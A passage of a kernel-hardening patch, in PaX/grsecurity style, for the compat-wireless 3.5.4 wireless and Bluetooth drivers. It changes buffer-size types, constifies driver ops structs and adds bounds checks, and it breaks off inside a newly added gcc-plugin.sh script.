+@@ -2228,7 +2228,7 @@ static ssize_t iwl_dbgfs_echo_test_write
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) -  1);
+@@ -2264,7 +2264,7 @@ static ssize_t iwl_dbgfs_log_event_write
+ 	struct iwl_priv *priv = file->private_data;
+ 	u32 event_log_flag;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) -  1);
+@@ -2314,7 +2314,7 @@ static ssize_t iwl_dbgfs_calib_disabled_
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+ 	u32 calib_disabled;
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) - 1);
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-trans-pcie.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-trans-pcie.c
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-trans-pcie.c	2012-09-22 03:47:20.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-trans-pcie.c	2012-10-15 19:11:12.839824568 +0000
+@@ -1949,7 +1949,7 @@ static ssize_t iwl_dbgfs_interrupt_write
+ 	struct isr_statistics *isr_stats = &trans_pcie->isr_stats;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1970,7 +1970,7 @@ static ssize_t iwl_dbgfs_csr_write(struc
+ {
+ 	struct iwl_trans *trans = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int csr;
+ 
+ 	memset(buf, 0, sizeof(buf));
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mac80211_hwsim.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mac80211_hwsim.c
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mac80211_hwsim.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mac80211_hwsim.c	2012-10-15 19:11:12.840824568 +0000
+@@ -1752,9 +1752,11 @@ static int __init init_mac80211_hwsim(vo
+ 		return -EINVAL;
+ 
+ 	if (fake_hw_scan) {
+-		mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
+-		mac80211_hwsim_ops.sw_scan_start = NULL;
+-		mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_open_kernel();
++		*(void **)&mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
++		*(void **)&mac80211_hwsim_ops.sw_scan_start = NULL;
++		*(void **)&mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	spin_lock_init(&hwsim_radio_lock);
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mwifiex/main.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mwifiex/main.h
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mwifiex/main.h	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mwifiex/main.h	2012-10-15 19:11:12.841824568 +0000
+@@ -567,7 +567,7 @@ struct mwifiex_if_ops {
+ 	int (*event_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*data_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*dnld_fw) (struct mwifiex_adapter *, struct mwifiex_fw_image *);
+-};
++} __no_const;
+ 
+ struct mwifiex_adapter {
+ 	u8 iface_type;
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rndis_wlan.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rndis_wlan.c
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rndis_wlan.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rndis_wlan.c	2012-10-15 19:11:12.843824568 +0000
+@@ -1235,7 +1235,7 @@ static int set_rts_threshold(struct usbn
+ 
+ 	netdev_dbg(usbdev->net, "%s(): %i\n", __func__, rts_threshold);
+ 
+-	if (rts_threshold < 0 || rts_threshold > 2347)
++	if (rts_threshold > 2347)
+ 		rts_threshold = 2347;
+ 
+ 	tmp = cpu_to_le32(rts_threshold);
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h	2012-10-15 19:11:12.844824568 +0000
+@@ -396,7 +396,7 @@ struct rt2x00_intf {
+ 	 * for hardware which doesn't support hardware
+ 	 * sequence counting.
+ 	 */
+-	atomic_t seqno;
++	atomic_unchecked_t seqno;
+ };
+ 
+ static inline struct rt2x00_intf* vif_to_intf(struct ieee80211_vif *vif)
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c	2012-10-15 19:11:12.845824568 +0000
+@@ -240,9 +240,9 @@ static void rt2x00queue_create_tx_descri
+ 	 * sequence counter given by mac80211.
+ 	 */
+ 	if (test_bit(ENTRY_TXD_FIRST_FRAGMENT, &txdesc->flags))
+-		seqno = atomic_add_return(0x10, &intf->seqno);
++		seqno = atomic_add_return_unchecked(0x10, &intf->seqno);
+ 	else
+-		seqno = atomic_read(&intf->seqno);
++		seqno = atomic_read_unchecked(&intf->seqno);
+ 
+ 	hdr->seq_ctrl &= cpu_to_le16(IEEE80211_SCTL_FRAG);
+ 	hdr->seq_ctrl |= cpu_to_le16(seqno);
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h	2012-10-15 19:11:12.845824568 +0000
+@@ -266,7 +266,7 @@ struct wl1251_if_operations {
+ 	void (*reset)(struct wl1251 *wl);
+ 	void (*enable_irq)(struct wl1251 *wl);
+ 	void (*disable_irq)(struct wl1251 *wl);
+-};
++} __no_const;
+ 
+ struct wl1251 {
+ 	struct ieee80211_hw *hw;
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h	2012-10-15 19:11:12.846824568 +0000
+@@ -61,7 +61,7 @@ struct wlcore_ops {
+ 				    struct wl12xx_vif *wlvif);
+ 	s8 (*get_pg_ver)(struct wl1271 *wl);
+ 	void (*get_mac)(struct wl1271 *wl);
+-};
++} __no_const;
+ 
+ enum wlcore_partitions {
+ 	PART_DOWN,
+diff -rupN compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.rej compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.rej
+--- compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.rej	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.rej	2012-10-15 19:11:12.847824568 +0000
+@@ -0,0 +1,11 @@
++--- include/linux/pm_runtime.h	2012-07-23 00:22:30.802342811 +0200
+++++ include/linux/pm_runtime.h	2012-07-23 00:23:11.582344010 +0200
++@@ -97,7 +97,7 @@
++ 
++ static inline void pm_runtime_mark_last_busy(struct device *dev)
++ {
++-	ACCESS_ONCE(dev->power.last_busy) = jiffies;
+++	ACCESS_ONCE_RW(dev->power.last_busy) = jiffies;
++ }
++ 
++ #else /* !CONFIG_PM_RUNTIME */
+diff -rupN compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.~1~ compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.~1~
+--- compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.~1~	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.~1~	2012-10-15 19:11:12.847824568 +0000
+@@ -0,0 +1,14 @@
++#include <linux/version.h>
++
++#ifndef __COMPAT_LINUX_PM_RUNTIME_H
++#define __COMPAT_LINUX_PM_RUNTIME_H
++
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,32))
++#include_next <linux/pm_runtime.h>
++#else
++
++static inline void pm_runtime_enable(struct device *dev) {}
++
++#endif /* (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,32)) */
++
++#endif
+diff -rupN compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.rej compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.rej
+--- compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.rej	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.rej	2012-10-15 19:11:12.848824568 +0000
+@@ -0,0 +1,10 @@
++--- include/linux/rfkill.h	2012-05-21 11:33:38.331929879 +0200
+++++ include/linux/rfkill.h	2012-07-23 00:23:11.586344010 +0200
++@@ -147,6 +147,7 @@
++ 	void	(*query)(struct rfkill *rfkill, void *data);
++ 	int	(*set_block)(void *data, bool blocked);
++ };
+++typedef struct rfkill_ops __no_const rfkill_ops_no_const;
++ 
++ #if defined(CONFIG_RFKILL) || defined(CONFIG_RFKILL_MODULE)
++ /**
+diff -rupN compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.~1~ compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.~1~
+--- compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.~1~	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.~1~	2012-10-15 19:11:12.848824568 +0000
+@@ -0,0 +1,32 @@
++#ifndef __COMPAT_RFKILL_H
++#define __COMPAT_RFKILL_H
++
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,31))
++
++#include_next <linux/rfkill.h>
++
++#else
++
++#include <linux/compat-2.6.h>
++
++#undef CONFIG_RFKILL
++#undef CONFIG_RFKILL_INPUT
++#undef CONFIG_RFKILL_LEDS
++
++#ifdef CONFIG_RFKILL_BACKPORT
++#define CONFIG_RFKILL 1
++#endif
++
++#ifdef CONFIG_RFKILL_BACKPORT_INPUT
++#define CONFIG_RFKILL_INPUT
++#endif
++
++#ifdef CONFIG_RFKILL_BACKPORT_LEDS
++#define CONFIG_RFKILL_LEDS
++#endif
++
++#include <linux/rfkill_backport.h>
++
++#endif
++
++#endif
+diff -rupN compat-wireless-3.5.4-1-snpc/include/linux/unaligned/access_ok.h compat-wireless-3.5.4-1-snpc/include/linux/unaligned/access_ok.h
+--- compat-wireless-3.5.4-1-snpc/include/linux/unaligned/access_ok.h	2012-09-17 19:15:56.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/include/linux/unaligned/access_ok.h	2012-10-15 19:11:12.848824568 +0000
+@@ -6,32 +6,32 @@
+ 
+ static inline u16 get_unaligned_le16(const void *p)
+ {
+-	return le16_to_cpup((__le16 *)p);
++	return le16_to_cpup((const __le16 *)p);
+ }
+ 
+ static inline u32 get_unaligned_le32(const void *p)
+ {
+-	return le32_to_cpup((__le32 *)p);
++	return le32_to_cpup((const __le32 *)p);
+ }
+ 
+ static inline u64 get_unaligned_le64(const void *p)
+ {
+-	return le64_to_cpup((__le64 *)p);
++	return le64_to_cpup((const __le64 *)p);
+ }
+ 
+ static inline u16 get_unaligned_be16(const void *p)
+ {
+-	return be16_to_cpup((__be16 *)p);
++	return be16_to_cpup((const __be16 *)p);
+ }
+ 
+ static inline u32 get_unaligned_be32(const void *p)
+ {
+-	return be32_to_cpup((__be32 *)p);
++	return be32_to_cpup((const __be32 *)p);
+ }
+ 
+ static inline u64 get_unaligned_be64(const void *p)
+ {
+-	return be64_to_cpup((__be64 *)p);
++	return be64_to_cpup((const __be64 *)p);
+ }
+ 
+ static inline void put_unaligned_le16(u16 val, void *p)
+diff -rupN compat-wireless-3.5.4-1-snpc/net/bluetooth/hci_sock.c compat-wireless-3.5.4-1-snpc/net/bluetooth/hci_sock.c
+--- compat-wireless-3.5.4-1-snpc/net/bluetooth/hci_sock.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/bluetooth/hci_sock.c	2012-10-15 19:11:12.849824568 +0000
+@@ -947,7 +947,7 @@ static int hci_sock_setsockopt(struct so
+ 			uf.event_mask[1] = *((u32 *) f->event_mask + 1);
+ 		}
+ 
+-		len = min_t(unsigned int, len, sizeof(uf));
++		len = min((size_t)len, sizeof(uf));
+ 		if (copy_from_user(&uf, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+diff -rupN compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_core.c compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_core.c
+--- compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_core.c	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_core.c	2012-10-15 19:11:12.851824568 +0000
+@@ -2799,8 +2799,10 @@ static int l2cap_parse_conf_rsp(struct l
+ 			break;
+ 
+ 		case L2CAP_CONF_RFC:
+-			if (olen == sizeof(rfc))
+-				memcpy(&rfc, (void *)val, olen);
++			if (olen != sizeof(rfc))
++				break;
++
++			memcpy(&rfc, (void *)val, olen);
+ 
+ 			if (test_bit(CONF_STATE2_DEVICE, &chan->conf_state) &&
+ 							rfc.mode != chan->mode)
+diff -rupN compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_sock.c compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_sock.c
+--- compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_sock.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_sock.c	2012-10-15 19:11:12.852824568 +0000
+@@ -451,7 +451,8 @@ static int l2cap_sock_setsockopt_old(str
+ 	struct sock *sk = sock->sk;
+ 	struct l2cap_chan *chan = l2cap_pi(sk)->chan;
+ 	struct l2cap_options opts;
+-	int len, err = 0;
++	int err = 0;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -473,7 +474,7 @@ static int l2cap_sock_setsockopt_old(str
+ 		opts.max_tx   = chan->max_tx;
+ 		opts.txwin_size = chan->tx_win;
+ 
+-		len = min_t(unsigned int, sizeof(opts), optlen);
++		len = min(sizeof(opts), len);
+ 		if (copy_from_user((char *) &opts, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+@@ -553,7 +554,8 @@ static int l2cap_sock_setsockopt(struct
+ 	struct bt_security sec;
+ 	struct bt_power pwr;
+ 	struct l2cap_conn *conn;
+-	int len, err = 0;
++	int err = 0;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -576,7 +578,7 @@ static int l2cap_sock_setsockopt(struct
+ 
+ 		sec.level = BT_SECURITY_LOW;
+ 
+-		len = min_t(unsigned int, sizeof(sec), optlen);
++		len = min(sizeof(sec), len);
+ 		if (copy_from_user((char *) &sec, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+@@ -673,7 +675,7 @@ static int l2cap_sock_setsockopt(struct
+ 
+ 		pwr.force_active = BT_POWER_FORCE_ACTIVE_ON;
+ 
+-		len = min_t(unsigned int, sizeof(pwr), optlen);
++		len = min(sizeof(pwr), len);
+ 		if (copy_from_user((char *) &pwr, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+diff -rupN compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/sock.c compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/sock.c
+--- compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/sock.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/sock.c	2012-10-15 19:11:12.853824568 +0000
+@@ -694,7 +694,7 @@ static int rfcomm_sock_setsockopt(struct
+ 	struct sock *sk = sock->sk;
+ 	struct bt_security sec;
+ 	int err = 0;
+-	size_t len;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -716,7 +716,7 @@ static int rfcomm_sock_setsockopt(struct
+ 
+ 		sec.level = BT_SECURITY_LOW;
+ 
+-		len = min_t(unsigned int, sizeof(sec), optlen);
++		len = min(sizeof(sec), len);
+ 		if (copy_from_user((char *) &sec, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+diff -rupN compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/tty.c compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/tty.c
+--- compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/tty.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/tty.c	2012-10-15 19:11:12.854824568 +0000
+@@ -314,7 +314,7 @@ static void rfcomm_dev_del(struct rfcomm
+ 	BUG_ON(test_and_set_bit(RFCOMM_TTY_RELEASED, &dev->flags));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (dev->port.count > 0) {
++	if (atomic_read(&dev->port.count) > 0) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return;
+ 	}
+@@ -669,10 +669,10 @@ static int rfcomm_tty_open(struct tty_st
+ 		return -ENODEV;
+ 
+ 	BT_DBG("dev %p dst %s channel %d opened %d", dev, batostr(&dev->dst),
+-				dev->channel, dev->port.count);
++				dev->channel, atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (++dev->port.count > 1) {
++	if (atomic_inc_return(&dev->port.count) > 1) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return 0;
+ 	}
+@@ -741,10 +741,10 @@ static void rfcomm_tty_close(struct tty_
+ 		return;
+ 
+ 	BT_DBG("tty %p dev %p dlc %p opened %d", tty, dev, dev->dlc,
+-						dev->port.count);
++						atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (!--dev->port.count) {
++	if (!atomic_dec_return(&dev->port.count)) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		if (dev->tty_dev->parent)
+ #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,29))
+diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/ieee80211_i.h compat-wireless-3.5.4-1-snpc/net/mac80211/ieee80211_i.h
+--- compat-wireless-3.5.4-1-snpc/net/mac80211/ieee80211_i.h	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/mac80211/ieee80211_i.h	2012-10-15 19:11:12.855824568 +0000
+@@ -28,6 +28,7 @@
+ #include <net/ieee80211_radiotap.h>
+ #include <net/cfg80211.h>
+ #include <net/mac80211.h>
++#include <asm/local.h>
+ #include "key.h"
+ #include "sta_info.h"
+ 
+@@ -863,7 +864,7 @@ struct ieee80211_local {
+ 	/* also used to protect ampdu_ac_queue and amdpu_ac_stop_refcnt */
+ 	spinlock_t queue_stop_reason_lock;
+ 
+-	int open_count;
++	local_t open_count;
+ 	int monitors, cooked_mntrs;
+ 	/* number of interfaces with corresponding FIF_ flags */
+ 	int fif_fcsfail, fif_plcpfail, fif_control, fif_other_bss, fif_pspoll,
+diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/iface.c compat-wireless-3.5.4-1-snpc/net/mac80211/iface.c
+--- compat-wireless-3.5.4-1-snpc/net/mac80211/iface.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/mac80211/iface.c	2012-10-15 19:11:12.856824568 +0000
+@@ -328,7 +328,7 @@ static int ieee80211_do_open(struct net_
+ 		break;
+ 	}
+ 
+-	if (local->open_count == 0) {
++	if (local_read(&local->open_count) == 0) {
+ 		res = drv_start(local);
+ 		if (res)
+ 			goto err_del_bss;
+@@ -371,7 +371,7 @@ static int ieee80211_do_open(struct net_
+ 			break;
+ 		}
+ 
+-		if (local->monitors == 0 && local->open_count == 0) {
++		if (local->monitors == 0 && local_read(&local->open_count) == 0) {
+ 			res = ieee80211_add_virtual_monitor(local);
+ 			if (res)
+ 				goto err_stop;
+@@ -468,7 +468,7 @@ static int ieee80211_do_open(struct net_
+ 	mutex_unlock(&local->mtx);
+ 
+ 	if (coming_up)
+-		local->open_count++;
++		local_inc(&local->open_count);
+ 
+ 	if (hw_reconf_flags)
+ 		ieee80211_hw_config(local, hw_reconf_flags);
+@@ -481,7 +481,7 @@ static int ieee80211_do_open(struct net_
+  err_del_interface:
+ 	drv_remove_interface(local, sdata);
+  err_stop:
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		drv_stop(local);
+  err_del_bss:
+ 	sdata->bss = NULL;
+@@ -618,7 +618,7 @@ static void ieee80211_do_stop(struct iee
+ 	}
+ 
+ 	if (going_down)
+-		local->open_count--;
++		local_dec(&local->open_count);
+ 
+ 	switch (sdata->vif.type) {
+ 	case NL80211_IFTYPE_AP_VLAN:
+@@ -690,7 +690,7 @@ static void ieee80211_do_stop(struct iee
+ 
+ 	ieee80211_recalc_ps(local, -1);
+ 
+-	if (local->open_count == 0) {
++	if (local_read(&local->open_count) == 0) {
+ 		if (local->ops->napi_poll)
+ 			napi_disable(&local->napi);
+ 		ieee80211_clear_tx_pending(local);
+@@ -722,7 +722,7 @@ static void ieee80211_do_stop(struct iee
+ 	}
+ 	spin_unlock_irqrestore(&local->queue_stop_reason_lock, flags);
+ 
+-	if (local->monitors == local->open_count && local->monitors > 0)
++	if (local->monitors == local_read(&local->open_count) && local->monitors > 0)
+ 		ieee80211_add_virtual_monitor(local);
+ }
+ 
+diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/main.c compat-wireless-3.5.4-1-snpc/net/mac80211/main.c
+--- compat-wireless-3.5.4-1-snpc/net/mac80211/main.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/mac80211/main.c	2012-10-15 19:11:12.857824568 +0000
+@@ -170,7 +170,7 @@ int ieee80211_hw_config(struct ieee80211
+ 		local->hw.conf.power_level = power;
+ 	}
+ 
+-	if (changed && local->open_count) {
++	if (changed && local_read(&local->open_count)) {
+ 		ret = drv_config(local, changed);
+ 		/*
+ 		 * Goal:
+diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/pm.c compat-wireless-3.5.4-1-snpc/net/mac80211/pm.c
+--- compat-wireless-3.5.4-1-snpc/net/mac80211/pm.c	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/mac80211/pm.c	2012-10-15 19:11:12.857824568 +0000
+@@ -34,7 +34,7 @@ int __ieee80211_suspend(struct ieee80211
+ 	struct ieee80211_sub_if_data *sdata;
+ 	struct sta_info *sta;
+ 
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		goto suspend;
+ 
+ 	ieee80211_scan_cancel(local);
+@@ -72,7 +72,7 @@ int __ieee80211_suspend(struct ieee80211
+ 	cancel_work_sync(&local->dynamic_ps_enable_work);
+ 	del_timer_sync(&local->dynamic_ps_timer);
+ 
+-	local->wowlan = wowlan && local->open_count;
++	local->wowlan = wowlan && local_read(&local->open_count);
+ 	if (local->wowlan) {
+ 		int err = drv_suspend(local, wowlan);
+ 		if (err < 0) {
+@@ -132,7 +132,7 @@ int __ieee80211_suspend(struct ieee80211
+ 		drv_remove_interface(local, sdata);
+ 
+ 	/* stop hardware - this must stop RX */
+-	if (local->open_count)
++	if (local_read(&local->open_count))
+ 		ieee80211_stop_device(local);
+ 
+  suspend:
+diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/rate.c compat-wireless-3.5.4-1-snpc/net/mac80211/rate.c
+--- compat-wireless-3.5.4-1-snpc/net/mac80211/rate.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/mac80211/rate.c	2012-10-15 19:11:12.858824568 +0000
+@@ -494,7 +494,7 @@ int ieee80211_init_rate_ctrl_alg(struct
+ 
+ 	ASSERT_RTNL();
+ 
+-	if (local->open_count)
++	if (local_read(&local->open_count))
+ 		return -EBUSY;
+ 
+ 	if (local->hw.flags & IEEE80211_HW_HAS_RATE_CONTROL) {
+diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/rc80211_pid_debugfs.c compat-wireless-3.5.4-1-snpc/net/mac80211/rc80211_pid_debugfs.c
+--- compat-wireless-3.5.4-1-snpc/net/mac80211/rc80211_pid_debugfs.c	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/mac80211/rc80211_pid_debugfs.c	2012-10-15 19:11:12.859824568 +0000
+@@ -193,7 +193,7 @@ static ssize_t rate_control_pid_events_r
+ 
+ 	spin_unlock_irqrestore(&events->lock, status);
+ 
+-	if (copy_to_user(buf, pb, p))
++	if (p > sizeof(pb) || copy_to_user(buf, pb, p))
+ 		return -EFAULT;
+ 
+ 	return p;
+diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/util.c compat-wireless-3.5.4-1-snpc/net/mac80211/util.c
+--- compat-wireless-3.5.4-1-snpc/net/mac80211/util.c	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/mac80211/util.c	2012-10-15 19:11:12.859824568 +0000
+@@ -1224,7 +1224,7 @@ int ieee80211_reconfig(struct ieee80211_
+ 	}
+ #endif
+ 	/* everything else happens only if HW was up & running */
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		goto wake_up;
+ 
+ 	/*
+diff -rupN compat-wireless-3.5.4-1-snpc/net/wireless/core.h compat-wireless-3.5.4-1-snpc/net/wireless/core.h
+--- compat-wireless-3.5.4-1-snpc/net/wireless/core.h	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/wireless/core.h	2012-10-15 19:11:12.860824568 +0000
+@@ -27,7 +27,7 @@ struct cfg80211_registered_device {
+ 	struct mutex mtx;
+ 
+ 	/* rfkill support */
+-	struct rfkill_ops rfkill_ops;
++	rfkill_ops_no_const rfkill_ops;
+ 	struct rfkill *rfkill;
+ 	struct work_struct rfkill_sync;
+ 
+diff -rupN compat-wireless-3.5.4-1-snpc/net/wireless/wext-core.c compat-wireless-3.5.4-1-snpc/net/wireless/wext-core.c
+--- compat-wireless-3.5.4-1-snpc/net/wireless/wext-core.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/net/wireless/wext-core.c	2012-10-15 19:11:12.861824568 +0000
+@@ -781,8 +781,7 @@ static int ioctl_standard_iw_point(struc
+ 		 */
+ 
+ 		/* Support for very large requests */
+-		if ((descr->flags & IW_DESCR_FLAG_NOMAX) &&
+-		    (user_length > descr->max_tokens)) {
++		if (user_length > descr->max_tokens) {
+ 			/* Allow userspace to GET more than max so
+ 			 * we can support any size GET requests.
+ 			 * There is still a limit : -ENOMEM.
+@@ -821,22 +820,6 @@ static int ioctl_standard_iw_point(struc
+ 		}
+ 	}
+ 
+-	if (IW_IS_GET(cmd) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) {
+-		/*
+-		 * If this is a GET, but not NOMAX, it means that the extra
+-		 * data is not bounded by userspace, but by max_tokens. Thus
+-		 * set the length to max_tokens. This matches the extra data
+-		 * allocation.
+-		 * The driver should fill it with the number of tokens it
+-		 * provided, and it may check iwp->length rather than having
+-		 * knowledge of max_tokens. If the driver doesn't change the
+-		 * iwp->length, this ioctl just copies back max_token tokens
+-		 * filled with zeroes. Hopefully the driver isn't claiming
+-		 * them to be valid data.
+-		 */
+-		iwp->length = descr->max_tokens;
+-	}
+-
+ 	err = handler(dev, info, (union iwreq_data *) iwp, extra);
+ 
+ 	iwp->length += essid_compat;
+diff -rupN compat-wireless-3.5.4-1-snpc/scripts/gcc-plugin.sh compat-wireless-3.5.4-1-snpc/scripts/gcc-plugin.sh
+--- compat-wireless-3.5.4-1-snpc/scripts/gcc-plugin.sh	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/scripts/gcc-plugin.sh	2012-10-15 19:11:12.861824568 +0000
+@@ -0,0 +1,17 @@
++#!/bin/bash
++plugincc=`$1 -x c -shared - -o /dev/null -I\`$3 -print-file-name=plugin\`/include 2>&1 <<EOF
++#include "gcc-plugin.h"
